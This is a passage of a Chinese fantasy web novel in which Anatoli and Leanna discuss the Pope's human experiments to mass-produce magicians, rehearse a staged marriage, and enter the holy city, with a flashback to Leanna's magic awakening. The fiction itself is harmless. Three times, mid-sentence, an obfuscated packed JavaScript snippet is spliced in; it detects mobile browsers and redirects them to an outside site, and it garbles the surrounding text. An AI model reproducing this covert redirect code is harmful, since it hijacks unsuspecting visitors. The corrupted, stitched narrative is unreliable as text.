“魔法师制造计划由教皇主导,目的是为了量产魔法师,一来有更多人可以去魔兽潮前线维持稳定,二来可以巩固教廷的统治,若是绝对的力量被教廷掌握,那任何反抗都不必放在眼里。但这个实验违背魔法规律,难度很大。” “难怪会有那么多不同的实验方式。” “没错,魔法师怎么可能如此轻易地被制造出来,一定需要诸多干预。所以除了注射血清,他们甚至还尝试了移植器官和胚胎培养。” “这太残忍了。”阿纳托利叹了口气,“有成功的实验品吗?” “也许有吧,但无论成功与否,卷进这件事的结局就已经注定了,试验失败的人会变成魔物,成功的人会成为他们的爪牙,用完即弃。总之被选中的那刻,普通人的人生无一例外会被毁掉。” 她的语气像是一潭死水,平静无波地说着让人胆寒的真相。 阿纳托利并不害怕魔兽,他已经和魔兽不知道打了多少年的交道了。 但听了莱安娜的话,他头一次产生了一种无力感。 如果看着眼前活生生的人变成魔兽呢?眼前和自己无比熟悉的人,会开玩笑、会亲切问候自己人,他们正友善地笑着,然后面容瞬间扭曲起来,肢体抽搐,再次睁开眼睛时,变成一双野兽样的竖瞳,闪烁着进食的欲望。这时的人还算的上人吗?他还能做什么呢? 他消灭魔兽这么多年,从未想过有一天怪物可能是被人为制造的。甚至如果自己不知情,还会对变成魔兽的受害者挥刀相向,那些罪魁祸首只用干干净净地端坐在宫殿之中。 “我们的命在他们眼里到底是多卑贱?” 他心想,随即觉得大脑一阵钝痛,他下意识捂住了头,眉毛皱了起来。 “怎么了?阿纳托利。” 莱安娜关切地看着他,那阵疼痛转瞬即逝,像是一颗石头落尽了潭水掀起的涟漪,很快归于平静。 “没事,可能是被这些事情恶心到了,头有点不舒服。”他笑着回应,随后问出了最重要的一个问题。 “莱安娜,我知道你不会参与这种东西,但你为什么会对这个计划如此了解?” 阿纳托利猜测莱安娜是因为文森特,才会对这个计划略有耳闻。他想借着这个提问,试探出更多关于文森特的情报。 莱安娜沉默了良久才开口: “我的兄长文森特,他参与了这个实验。” 阿纳托利听到这句话的第一反应是松了口气,至少说明莱安娜很信任他,愿意告诉他文森特的实情。 莱安娜接着说:“这个实验相当复杂,跨越的时间也很长,我兄长只负责一部分,你应该知道我兄长待我很好,所以我才会对这个实验有所了解。” 阿纳托利:“这个实验不止一个负责人?” 那不就意味着调查起来千头万绪吗? 莱安娜:“是的,而且各个负责人之间不是合作而是竞争关系,我一直怀疑我兄长的死亡,是因为实验有所突破,消息泄漏,遭到了竞争者的加害。” 她一直都是平静,唯独在此刻眼底仿佛有几分难以抑制的悲伤。 “所以我才不放心欧文独自去调查,我兄长因为牵涉这个计划而丧命,我调查至今仍然没有太多收获……这件事很凶险,或许可以先暂停调查。” 阿纳托利:“你觉得等到继位教皇之后再调查更加稳妥?” 莱安娜:“是的。” 阿纳托利摇了摇头:“我不赞同,这个事情有太多变数,且不论万一他们真研究出来了会有怎样的后果,会不会利用这一点发起可怕的战争。只要他们还在继续实验,就会继续有人受害,必须尽快阻止这件事。而且如果能揭露教皇的恶行,你继位时会更加名正言顺。” 他看向莱安娜的目光愈发热切,但莱安娜似乎没有改变主意,沉默了一会儿后问了另一个问题。 “阿纳托利,如果他们成功了,实验有了结果,你要怎么办呢?” 阿纳托利一愣。 莱安娜:“若是有了稳定的方式,可以将正常人转化成成魔法师,你要怎么做?当然,肯定有代价,这种实验必然不是百分百的成功率,会有相当多的人会成为所谓的代价。但量产魔法师对北方可谓是相当有利,你可以用这种方式组建自己的军队,也可以将成果送回北地,这可是大功一件。如果是这样,实验还有阻止的必要吗?” 她的语气很平和,但眼里闪烁着寒光,锋利得就像开刃的刀。 阿纳托利觉得这个问题有些微妙。 莱安娜是在试探自己的立场吗?是否未来会为了北地而选择睁一只眼闭一只眼? 自己当时从伊莉雅那里接下寻找实验结果任务的时候,对实验本身所知不多,只是觉得有些蹊跷。现在得知了实验的内容,自然没法按原计划执行了。 “罪孽深重的过程换来了一个价值非凡的结果,未曾受害的人真的有资格享受牺牲别人换来的好处吗?” 阿纳托 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046866|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利思考后,给出了他的答案: “如果使用了实验成果,就和那些草菅人命的人站在一起了?北地还没有无耻到需要用这种手段。” “我知道你不赞同,但是否会用这种手段不取决于你,北地的领主是伊莉雅,若是她执意要制造魔法师,你要怎么办呢?” “我……” 他欲言又止,和文森特合作的伊莉雅怎么可能对实验内容一无所知,她只是选择了无视。就和自己请求她为了百姓出手整治哈德莱伯爵一般。 “这件事我就当不知情……这事绝不可以提到明面上讨论。”伊莉雅对流民问题的处理决定仿佛还在耳边萦绕。 她袖手旁观早就不是第一次了。 伊莉雅默许的时候,自己可以偷偷救济泰西防线外的流民,但当伊莉雅和自己意见相左时,该如何阻止? 没有可以抗衡的力量,观念上的不认同毫无意义。 仿佛察觉到了他的心思,莱安娜笑着说:“我知道如果有足够的力量,你一定会尝试阻止伊莉雅,所以我才说在继任教皇之后处理此事。” 她说着握住了对方的手。 “但如果在那以前,他们的实验快要成功了,可能产生成功的实验体。而你对他们的恶行难以忍受,不想眼睁睁看着那些无辜的人被肆意牺牲,也不是毫无办法。” 阿纳托利发现她此刻眼神格外幽深。 “如果到了不得不阻止他们的时候,正面又暂时无法和那些贵族们抗衡,就杀掉那个成功的实验体吧。” 她语气没什么感情波动,冷静得有些可怕。 “他们的实验都是基于人,复刻成功案例必然需要成功的样本。如果当问题无法挽回迫在眉睫时,就杀了那个人吧。” 阿纳托利不敢置信地转头盯着她,莱安娜并不会把牺牲别人的性命说得如此理所当然。 但她说这话的时候却把头低了下去,阿纳托利没有探寻她眼神的机会。 “莱安娜,我不赞同你的提议,那个人没有错,受害者没有错。”他摇了摇头。 他感觉到莱安娜的手僵了一下,半晌才说话。 “对,那个人没有错。” 她叹了口气,随后把头转了过来,笑着看向他。 “那可怎么办?” 但随着这句话说出口,无奈的眼神转瞬即逝,语气也不再严肃,凭空多了几分戏谑。 “别太担心,我只是说一种最坏的可能性,为了阻止最坏结果的出现,咱们也只能指望阿纳托利司长到了圣都后削尖脑袋升职了,你越是平步青云,我们调查获得的助力也会越多的。” 她撑着脸一脸笑意。 “实验体一定会祈祷我们顺利的。不过司长大人要是想当救人于水火的英雄,可要好好努力往上爬才行哦。” 阿纳托利被她突然的转换打了一个措手不及,像是刚才的建议只是一个玩笑。 “所以你前面说的那些话,都只是为了开玩笑挖苦我做的铺垫?” 阿纳托利有些哭笑不得。 “怎么能说是挖苦呢?那是必要的劝诫,你回了圣都确实需要积攒实力。” “那也不用以杀害实验体来做铺垫啊,亏我真以为你要……”阿纳托利不满地嘟囔。 “所以关于努力工作的劝诫,司长大人有听进去吗?” 她笑着打断了对方的抱怨。 “按照魔兽潮防御司的规定,我只能接受特聘参谋的建议,很遗憾,您的建议我无法采纳。” 他故作严肃地反驳了对方,尽可能让自己的语气听上去冰冷而不满。 “哦?但我这不是专业建议……” 话音未落,阿纳托利的手臂猝不及防地被对方挽住了,他转头看向莱安娜,因为惊讶眼睛睁得老大。 “这是爱人的劝诫,司长大人不会在自己爱人面前也要端架子吧?”她笑着反问。 47. 团长的就业新方向 阿纳托利大脑一片空白,只是看着火堆橘黄的光映在莱安娜的脸上,对方带着笑意的眼睛闪闪发光,嘴唇在动,显然是说了什么,但他一句也没听清,耳边是如鼓点一般的声音,肢体僵硬得像是冻成冰了。 坐在马车内的斯捷潘一直在时不时抬头看一眼车外的两个人,防止有人袭击。 刚一抬头就看到了这一幕,他揉了揉眼睛再睁开。 好的他没看错。 斯捷潘皱了皱眉,立刻用手肘碰了碰旁边的列昂尼德,压低了声音: “别动,立刻捂住嘴,不要发出声音。” 列昂尼德如临大敌,立刻照办,手已经放在剑上了。 见他准备完毕,斯捷潘才放心地继续说: “可以了,保持动作,你抬头看这边吧。” 列昂尼德蓄势待发,准备随时应对棘手的强敌,然后他的眼珠子都快落了下来。 他算是明白为什么斯捷潘要他捂住嘴了。 暗杀者和眼前这一幕,真不好判断哪个更让他感到震撼。 主教抱住了阿纳托利的手臂,倚在了他的肩膀上,任谁来看这都是相当暧昧的。 他们俩扒在窗户偷看,内心翻江倒海。 列昂尼德小声地开口:“女神在上,他们结婚不是个障眼法吗?怎么会……难道主教真看上我们团长了?” 斯捷潘眉头紧锁:“不知道,或许真有可能,我听闻女士们对于讨厌的异性恨不得捏着鼻子绕道走,你瞧见了,他俩贴一块儿了。” 列昂尼德恍然大悟。 “我就说为什么合作要结婚,如果要保障安全其实还有办法,主教肯定瞧上阿纳托利了!等她成了教皇,她一定会费尽心机把团长变成她的情人。合作就是卖身契!团长以后就是她的……那个词怎么说的来着?啊!金丝雀!” 列昂尼德的眼里冒着精光,通了!都通了!他明白了一切! 斯捷潘一头雾水。 “一只鸟和阿纳托利有什么关系。” 列昂尼德急忙补充。 “这是个比喻,我妻子写的爱情文章里有过这种爱人。这种模式包含无微不至的照顾、锦衣玉食的供养,但因为太爱对方,占有欲作祟,又要把对方控制在自己身边。” “哦,意思是阿纳托利可能会成为下一个叶夫根尼。” 斯捷潘挖苦道,他一想起伊莉雅身旁那个小白脸就来气。 “你还真是触类旁通。”列昂尼德给他比了个大拇指,随后低头沉思,嘀嘀咕咕起来: “你别说,叶夫根尼那小白脸的日子可好过了,感觉团长真当了金丝雀也没有那么糟糕。” “但万一阿纳托利不愿意怎么办,他应该不是那种会……” 他说着,偷偷转过头瞥了一眼窗外。 “……” 列昂尼德听他的话戛然而止,抬头瞧他。发现他正看向窗外。 “怎么样,长官推开她了吗?” 斯捷潘没有回答他,但目光十分震撼,列昂尼德也看了过去。 “……” 阿纳托利低头吻在了莱安娜的额头上。 列昂尼德的脑袋嗡嗡作响,他似乎已经看见自己长官成为金丝雀的富足未来了,他坚信阿纳托利不会轻易被人左右,如果他没有推开对方,那就是不讨厌。如果他主动做出这种举动,那么他一定动心了。 看见为情所伤的阿纳托利终于迈出了勇敢的一步,列昂尼德忍不住感到欣慰。 “阿纳托利!继续勇敢下去!前面是美好的爱情,前面是灿烂的前途!”他在心里暗自鼓劲。 而斯捷潘就不这么想了。 他觉得自己的脸好疼,亏他还担心阿纳托利为了利用合作契机,改变他们的处境,被迫接受莱安娜主教的这桩交易。真是白担心了,现在看来这人享受得很。 随后他突然意识到一个问题。 “才认识多久?就能让受了情伤的阿纳托利动心?”他的目光落在了莱安娜身上。 “啊,主教果然手段了得。” ……… 车厢内的人能看到一切,但他们没法听见二人的对话,因而才产生了略有夸大的遐想。 在莱安娜叫了阿纳托利好几声,他才从脑袋一片空白的状态中恢复过来。 “抱歉……” 他甚至有点结巴,现在唯一庆幸的就是,他并不是会容易脸红的类型,否则现在自己一定会变成一只可悲的水煮虾。 “你是应该感到抱歉。” 莱安娜并没有松开手。 “你的动作太僵硬了,反应也很迟钝,新婚爱侣之间的互动应该是亲密又自然的,你刚才的反应一定会被看穿。” 她严肃地指出阿纳托利存在的问题,阿纳托利这才意识到,莱安娜刚才的所有话语和行为都只是练习,目的是演好这场戏。 心里的火苗嘎嘣一下熄灭了。 对方刚才的举动竟然没有一点感情,他不再紧张,取而代之的是难以言喻的酸涩。 “我会努力的。” 他还是不情不愿地回应了一句。 “那你现在应该怎么做?” “什么?” 阿纳托利困惑地看着她。 莱安娜:“如果我们现在出现在公共场合、我作为你的爱人挽着你手臂时,您应该如何回应这份情感呢?” “深情地看着你?” 阿纳托利试探道。 “嗯,这是必要的,还有呢?” 莱安娜的语气非常不满意! “还有什么? 阿纳托利真不知道了。 莱安娜盯着他,挽着他的手臂更紧了,她目光似有千言万语,阿纳托利不由得感叹莱安娜的演技,哪怕没有倾注情感,她此刻的眼神都是深情款款的。 “阿纳托利,把头低下来。” 他从善如流的低头了,困惑地看着这位指导者。 靠近了以后她的眼睛甚至能看清自己的影子了。 “吻我。” 简单的两个字就能瞬间让他大脑过载,如果不是仅存的理智和良心拽着他,他恐怕真的会顺应自己的内心和对方的指令。 “这……不对吧。” 他无力地反驳。 “你需要练习,我对你的演技没有信心。” 对方的眼神格外认真。 他提心吊胆,低下头凑了过去。 在离得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046867|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很近的时候他蒙上了莱安娜的眼睛,她有些意外,但没有提出异议。 但唇上没有任何触感,反而像是一片羽毛落在了自己的额头上。 阿纳托利吻了她的额头,随后立刻撤走了蒙着她眼睛的手,抽走了自己的胳膊,一眨眼就连滚带爬地退到了两米开外。 “好的!可以了!今天的练习到此结束!” 他紧张地盯着莱安娜,仿佛生怕她再提出新的要求。 莱安娜摸了下自己的额头,扑哧一声笑了出来。 “你一点都没变呢阿纳托利。” 她笑着摇了摇头。 …… 第二天的天气很好,清晨的雾气相当浓厚,或许之后阳光会格外灿烂。 欧文出发的时候莱安娜和阿纳托利果然来送行了。 轻装上马的欧文看见逐渐靠近的身影有些惊讶: “我没想过您真的会来。” “承诺自然要当面说才有诚意。” 莱安娜笑着说,“我答应你欧文,会和你一起给约翰他们报仇的。” 欧文没有立刻回答她,只是看向了正在变亮的天边。 “好,我会努力活到那一天。” 他点了点头。 “执行任务,别说丧气话。”阿纳托利插嘴道。 莱安娜随后拿出了一个本子,递给欧文。 “这是?” “路上看吧,我朋友给我的遗物,她也是水元素的魔导师,我把她留给我的影像誊写出来了,或许对你的突破有帮助呢?” “谢谢您。” 他们简单告别后欧文便离开了,等他中途休息的时候才打开那本笔记,第一页夹了一张便签。 “南部的实验我已调查出部分成果,布鲁城的真凶我会帮你除去。若要知晓事情全貌,我建议你前往北部。” “莱安娜主教建议我前往北部调查?药物试验连北部都牵涉其中?”欧文回头看向被抛在身后的树林,太阳已经升了起来,雾气全散了。 而另一边,阿纳托利回去后便和马克西姆还有露比清理着营地,准备启程,在工作完成的时候,去消除道路痕迹的斯捷潘和列昂尼德也正好回来。 阿纳托利刚准备开口问一下是否有被跟踪的痕迹,列昂尼德就率先开口:“别担心了,金丝雀长官。” 阿纳托利:? 他十分困惑自己为何会突然获得这样一个绰号,没看过什么罗曼作品的阿纳托利有此反应倒是不奇怪。 列昂尼德确认了对方真不知道其中深意,便放心大胆起来。 自己以后岂不是可以当面嘲讽他吃软饭。 正在喝水的露比没忍住,听到这个词的那刻呛水咳嗽起来,然后瞥了眼困惑的阿纳托利还有另外两人。 列昂尼德笑得意味深长,斯捷潘还是那副冷冰冰的死样子。 “不是?这个词不是这么用的吧?” 露比正在一头雾水时,马车里的莱安娜探出头来。 “还不出发吗?” 露比循声看去,目光游离在莱安娜和阿纳托利之间。 “啊,原来如此” 她睁大眼睛,下意识点了下头,自言自语起来。 48. 重返圣城 历经波折,车队总算来到了目的地——圣都。 庄严的城门一如记忆中耸立,建造它的砖石都挑选自帝国全境顶级的龙骨石。无数天才建筑师设计、顶级匠人建造打磨,方才有了今天固若金汤、威严肃穆的模样。 一旦穿过城门,就能看城内的繁华万千、雕梁画栋。 这道门活像一把锁,将人间的烟火流年都关在了一处,远看是那样花团锦簇,凑近了一瞧,在笼中只剩下了干瘪的皮囊。 莱安娜打开窗户,扫了一眼路上的熙熙攘攘,随及便把窗户关上了。 “你看上去心情不太好。” 阿纳托利察觉到了她眼底情绪的变化。 “没什么。” 她的语气很冷淡,这是阿纳托利这几天从未受过的待遇。 他并不打算让二人的对话结束在这个不太愉快的氛围中,于是指了指窗户。 “我也不喜欢这个地方,从第一次来的时候就不喜欢。” 刚说完他就觉得自己缓解尴尬的说辞太拙劣了。 自从“练习”之后,他面对莱安娜就有些不知所措,现在连基本的转移话题都是如此笨拙。 但还好莱安娜接了他的话茬。 “你的直觉这么敏锐?一来就能看穿这地方烂透了?”她的语气仿佛触底反弹般又带上了笑意,这让患得患失的阿纳托利心里松了口气。 “不是,刚来不到半小时我就被偷了。”他认真道。 莱安娜果真笑了出来。 “找回来了吗?应该是靠自己吧,安全部的效率可太低了。” “是的,包里有魔晶,我靠追踪魔法找回来了,是一个小孩偷的。” “生活所迫?” “是的,他那时候应该和奥菲莉亚差不多大,被犯罪团伙控制了起来,孩子们如果不按照他们的要求行窃可能会遭受毒打。” “之后呢?” “那个团伙解散了,在没人的地方我分了那十三个小孩每人一个银币。” “一个银币吗?很可观的一笔钱,不过按照你的个性我以为会更大方呢。” 莱安娜打趣道。 “当时资金有限,弗洛斯特的账户用多少钱都需要写说明,那点现金已经快是我的极限了。” “你竟然选择直接给孩子们钱,我以为以你会送他们去福利院呢。” “我提议过,但小孩们拒绝了,他们本就是在福利院受到了虐待才离开的。” “这样的话,你的处理办法确实是最有效的。” “也只是杯水车薪,那些钱能够维持他们生活一段时间,但是之后呢?圣都真的是如传闻中包容所有生命的仁慈之地吗?我不这么认为。” “能够理解你对这个地方第一印象不好。” 莱安娜点了点头。 “但看清它背后的阴影也不一定是坏事,如果最开始幻想得太美好是会失望的。” 她一边说着一边再一次拉开了帘子,用力地将窗外的画面尽收眼中。 来到圣都的那天曾是她人生中最高兴的日子之一。 她来自达德利山谷的一个村庄,自己的母亲是一位不知名的流浪者,来到村子后被莉莉婆婆和卡特爷爷收留,顺利地生下她后便离开了,而她也在那时候成了村子的一份子。 莱安娜这个名字是她生母留给她的,婆婆说母亲很爱她,在她出生后,流着泪抱了她一整晚,在留下了写着“莱安娜”的字条后便离开了。 婆婆说母亲似乎遇到了什么危险,因为担心连累大家才离开了村子。 “你的母亲很爱你,莱安娜这个名字是她送给你的第一份礼物,她希望你是个沐浴在阳光里活泼快乐的孩子。” “那她为什么把我留在这里呢?” “你的母亲当时一直在赶路,我们问她,但她不肯说原因,恐怕是有遇上了什么事怕给我们添麻烦吧,留你在这里或许是觉得这里安全一些。” "那母亲还会回来看我吗?" “等她安全了就来接莱安娜去过好日子也说不定呢。” 婆婆一边说着一边拍了拍莱安娜的脑袋。 但是随着时间的推移,莱安娜的希望逐渐被耗尽了,她不再期待母亲的出现,她已经明白了婆婆可能说的是一个谎言。 “我只是一个被抛弃的孩子罢了。” 她总在黄昏突然想起自己这位母亲,她那时候还不是现在这样虚伪的人,喜怒哀乐都写在脸上。 看到她变得消沉起来的吉姆凑了过来。 “怎么了?姐?” 他停下了脚步,转过头关切地看着她。 “没事吉姆。” 她继续跟了上去。 “是拉拉秧和燕麦草太重了嘛?你可以分一点给我。” “不重的吉姆,我可是姐姐诶。” 她一脸从容地握紧了背草的绑带。 “那我今天就勉为其难地牵一下你吧,我感觉你……和平时不太一样。” 吉姆的手比莱安娜小一些,很温暖。那头红色的头发和夕阳呼应,像在麦田中升起的不起眼的火苗。 “好吧,我刚刚有点难过,我想起我妈妈了。我其实担心婆婆是哄我才那样说的,如果我妈妈其实只是不要我了呢?” 吉姆没有马上回答她,可能对他这个年纪的孩子来说这个问题并不简单。 “姐,我觉得你很好,如果你妈妈不要你了,那她就是大笨蛋。” 他义正严辞地说道。 “而且,你又没错,婆婆告诉我不要为没有错的事情苛责自己。而且让自己这么难过,如果姐姐的妈妈之后来找你,你不就白难过了嘛?” 风拂过莱安娜的脸庞,带来麦子和泥土的气息,眼前红色的后脑勺、温暖的手让她那颗飘摇不安的心放松下来,不禁哼起小曲。 “没有那么糟糕吧,说不定婆婆说的是真的,而且哪怕是假的,也不要紧。人选择不了自己的出身,这不是我的错,其实我已经很幸运了,遇到了莉莉婆婆和卡特爷爷,吉姆又是这么懂事的孩子,村里大家都很好……” 她慢慢地不再执着思考母亲是不是遗弃了自己,只是把母亲那张写有“莱安娜”的字条夹在了她最喜欢的一本插画里。 后来,在她十二岁的时候,去镇上买东西看到了广场上的魔力募捐活动。 “魔力还能募捐,真是神奇。” 她不禁嘀咕了一句。 “当然可以,有魔力的人都可以募捐,可以获得教廷一个银币的奖励呢。” 一个穿便服的中年人在旁边回答了她。 “是吗,谢谢您。” 莱安娜礼貌地点头,准备离开,被陌生人搭话让她有些戒备。 “小姑娘不考虑捐一下吗?教廷有奖金的。” “我不行的,我又不是魔法师,连魔导师也不是。” 莱安娜摇了摇头,用力把兜帽朝下拉了下。 “但你有很强的魔力,我能感受到。” “您在开玩笑吧……” 莱安娜觉得对方完全在胡说八道,下意识朝后面退了一步。 爱德华注意到这个小家伙很久了,看她的反应才确认了对方不是谦虚,是真的不了解。 他可不能放过这个潜在的魔法师,这可是实实在在的业绩,立刻解释道。 “我是骑士爱德华,我以女神的名义起誓我没有撒谎,你的身上有魔力!” 仿佛为了打消她的顾虑,他一边说着一边掏出了一枚银质的骑士编号牌。 “你这样的天资竟然完全没有经受过该有的训练?似乎还没有同频过……” “再见!” 莱安娜没等他说完就准备跑开,这人怎么看怎么像骗子,才迈出两步却被这人拉住了。 “这位小姐别害怕,我没有恶意,也不是坏人,我真是骑士,我可以找人作证。” “你先放开我。” “不行,放了你肯定马上跑没影了!” 他一边拉着莱安娜的手臂,一边高喊。 “切希尔!切希尔!别在台上干站着了,快下来!” 随着他的喊声,台上那位女神官扭头看向了这边,随后施施然走了过来,人群让出了一条道。 “切希尔快证明我是你的骑士!这位小姐以为我是骗子!” 名为切希尔的神官叹了口气。 “虽然不想承认,但他确实是我的骑士,请问他给您添了什么麻烦。” “您先让他放开我。” “当然。” 切希尔瞪了一眼爱德华,对方不情不愿地撒手了。 “所以二位可以解释一下发生了什么吗?” 切希尔扶额无奈地问。 “切希尔!我刚发现这孩子有魔力!但似乎从未觉醒过。” “是吗?你的魔力感知比我敏锐,我再看看。” 切希尔朝莱安娜走近了一步,很认真地观察,随后闭上了眼睛,似乎在用心感受什么。 半晌后她舒了口气。 “呼,还真有魔力,但是波动不太明显,很难察觉到呢。” 听着这两人的话莱安娜惊讶得快说不出话来。 “魔力……魔法师……自己吗?” “小家伙你别发愣,你真的有魔力,你同频觉醒后一定可以成为厉害的魔法师的,而且如果觉醒激活魔力,并选择在教廷登记,会有一金币的奖金呢。” “一个金币!!!” 莱安娜惊呼。 “那不就是相当于几万个铜币了吗!” 爱德华冲她笑了笑,还没等她回过神来,爱德华的脑袋就被切希尔狠狠地敲了一下。 “痛……” 他捂着脑门,一旁的切希尔万分嫌弃地看了他一眼。 “蠢货,误人子弟。” 她说罢蹲了下来,平视莱安娜。 “小家伙,你有魔力,觉醒后确实有成为魔法师的资质,奖金也是真的。但是我得提醒你,一旦选择觉醒魔力,就只有成为魔法师魔导师这一条路了,你明白吗?” “我……不太明白。” 切希尔笑着摸了摸她的头。 “意思是,你会经历多次的魔力突破,每次突破可能很辛苦,还有很多危险的试炼需要完成,可能会有生命危险,有灾难时必须要挡在普通人前面,遇到魔兽潮不能逃跑。而且一旦选择这条路,你从今往后就要效忠教廷了……总之你会像我一样。” 莱安娜没有说话,只是有些茫然地看着眼前这个耐心的神官。 “没关系,这个事情不是小事,你可以慢慢想,我们这三天都会在这里的。” 她慢慢起身,准备走回台上。 “小家伙,如果你想好了,记得在黄昏之前来找我们。” 莱安娜机械地冲她挥了挥手。 爱德华跟着切希尔从她面前走过,做了一个口型。 “别~忘~了~有~奖~金!” 随后露出了灿烂的笑容。 莱安娜很快消失在了人群中。 爱德华坐在切希尔旁边苦恼地撑着下巴。 “你还没完成这个季度魔力收集的任务吧,切希尔。” “哪里那么容易,我负责的这几个区域有魔力的人本就不多,更别提魔法师魔导师了。算了,完不成任务无非就是扣薪水。” “你倒是想得开,你这样的高级神官是十个银币的薪水打底吧,扣一半我不信你不肉疼。” 切希尔没有说话,算是默认了。 “唉,要是刚才那小姑娘答应了就好了,发现一个魔法师可比收集魔力的工作重要多了,一定能抵掉你的任务、没准还能升职呢!话说回来你刚刚干嘛打断我,你没看见那小姑娘听说奖金有一金币眼睛都在发光吗!你后面解释这么多干嘛,说这么多就像是给人家浇冷水一样!你看看,奖金浇没了吧!” 他不满地摊了下手,朝身后的椅子靠了靠。 “我看你就该打,觉醒魔法不是小事,那孩子一看就是没有人引导,也不知道魔法对人的影响,怎么能不说明利害就贸然改变这孩子的人生呢?太不负责了,爱德华,你有没有个骑士的样子!” “行行行,我不负责,我这不是怕你饿死吗?切希尔神官,当你的骑士可真是没前途。” “辞职起立左转两公里,欢迎你去骚扰治安团负责人。” 两人等到黄昏时,小女孩也没有出现,两人收拾了下场地便准备回神殿了。 却在神殿门口看到了莱安娜。 她蹲在神殿的柱子后面,裹得严严实实,如果不是爱德华对气息敏感,恐怕都注意不到她。 “小家伙你怎么在这里?” 爱德华问道。 “咱们不是说好了在募捐场地那里等你吗?” “那里人太多了,我害怕惹上麻烦。” 莱安娜如实回答道。 “你想好了?” 切希尔认真地打量着眼前的小女孩。 “我想好了,神官大人,我没有什么梦想,也没有什么才能,如果我真的有魔力,那一定是女神给我的恩赐,像我这样的普通人更要抓住机会不是吗?” 切希尔神官若有所思。 “孩子,如果是因为你需要钱应急,才匆忙答应觉醒魔力是不理智的,钱我可以借给你……” “切希尔,你没钱……” 爱德华几乎快尖叫了出来, “你闭嘴!” 切希尔毫不手软地捶了他的脑袋,接着补充道。 “总之你需要更谨慎一些,魔法觉醒意味着你的人生从此只能和魔法、教廷绑定,你的生活从此丧失了其他可能,魔法是责任、是枷锁,魔法是沉重的……” “谢谢你,神官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046868|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐姐,但对我这样的普通人来说,魔法本身就是一种难得的可能性了,我已经决定好了。” 莱安娜坚定地点了点头。 “有什么区别呢?” 莱安娜心里想道。 “种小麦也好,养兔子也好,挤牛奶也好,织布也好,这些都一样的。” 她不觉得自己有什么特殊的才能,力气不够大,连简单的农活干得也很一般,手不够巧,刺绣也普通。 一个金币,可以修一修家里的旧房子,房顶卡特爷爷今年已经修了第二次了;还可以给婆婆买一些草药,婆婆的关节在冬天老是疼;对了,怎么能忘了吉姆,有了这笔钱,他就可以买好的工具了,这孩子跟着木匠师傅当学徒这么久,连自己的工具都没有…… “我本来就没什么愿望……也没什么特别的天赋,或许很久都没法赚到一金币的钱呢,如果我真的有魔力,只要测试成为魔法师就能得到一枚金币,这简直是女神大人对我这个普通孩子的恩赐吧。” 她如是想道,看着切希尔的眼神也愈发坚定起来。 切希尔缓缓起身,叹了口气。 “你叫什么名字?” “莱安娜?卡特。” “好的,那你和我来吧。” 莱安娜跟随她走进了神殿内部,看到了一个复杂的装置。 切希尔将手放在装置上悬浮的石头,缓慢地注入了一些魔力,石头随即开始焕发光彩,变成了半透明的质地。 “这个是引导魔力波动的石头,我已经启动了它,你把手放上去,用心感受魔力的波动,然后把魔力注入引导石就好。” “我不太明白神官姐姐,要怎么去感受波动呢?具体怎么释放呢?” “你把手放上去就好了,引导石会指引你的。” 切希尔微冲她微笑。 莱安娜小心翼翼地走入机械之中,准备将手放上去。 “确定了吗孩子,现在还可以反悔,一旦觉醒了魔力就没有回头路了。” “我确定,神官姐姐。谢谢你!” 莱安娜将手放在了正在上下浮动的石头上,石头停止了飘动,随后变成了完全透明的质地,像水晶一般。 手放上去的一瞬间,耳边传来极大的,如潮汐般的声音,莱安娜明白了,这是魔力波动的声音,心跳声和石头的颤动频率在不断趋于一致,在完全重合的时候,火光从她的指缝中冒出,虽然不觉得烫,还是吓得她一缩手。 石头啪嗒一声坠落到了地上,但火光并未消失,反而像脱缰的野马一般从她掌中不断地冒出,席卷整个房间。 切希尔及时展开防御屏障,将莱安娜和她的火限制在其中。 “莱安娜,快重新把手放在引导石上,你要学会控制自己身上的魔力波动。” 莱安娜手忙脚乱地抓起了石头,闭上了眼睛。 石头仿佛会呼吸一般,她很快理解了“波动”,也感受到了身上这股有些狂暴的魔力,她拉紧了魔力的缰绳,让它停下了狂奔的脚步。 手中刚才烧得极其热烈的火光逐渐变小,最终成为一小团火焰悬浮在她的掌中。切希尔这才挥手解除了防御屏障。 “是火元素魔法。” 切希尔走了过来,看着她掌中的火焰。 “火元素?魔法还区分元素吗?” “对的,初阶魔法师一般对魔力的运用和理解有限,因此魔力往往会以借助元素的形式展开,魔法师的精神力和这个世界哪种元素更贴合,魔力就会表现为哪种元素。” “意思是元素魔法其实是魔法师内心的反映吗?” “也可以这么说,多少能反应精神特质的,但如果成为了中阶法师之后,随着对魔力掌控能力的提升,就不必需要借助具体物质形态出现了,甚至可以生成具体的元素。不过元素魔法耗费的魔力一般更低。” 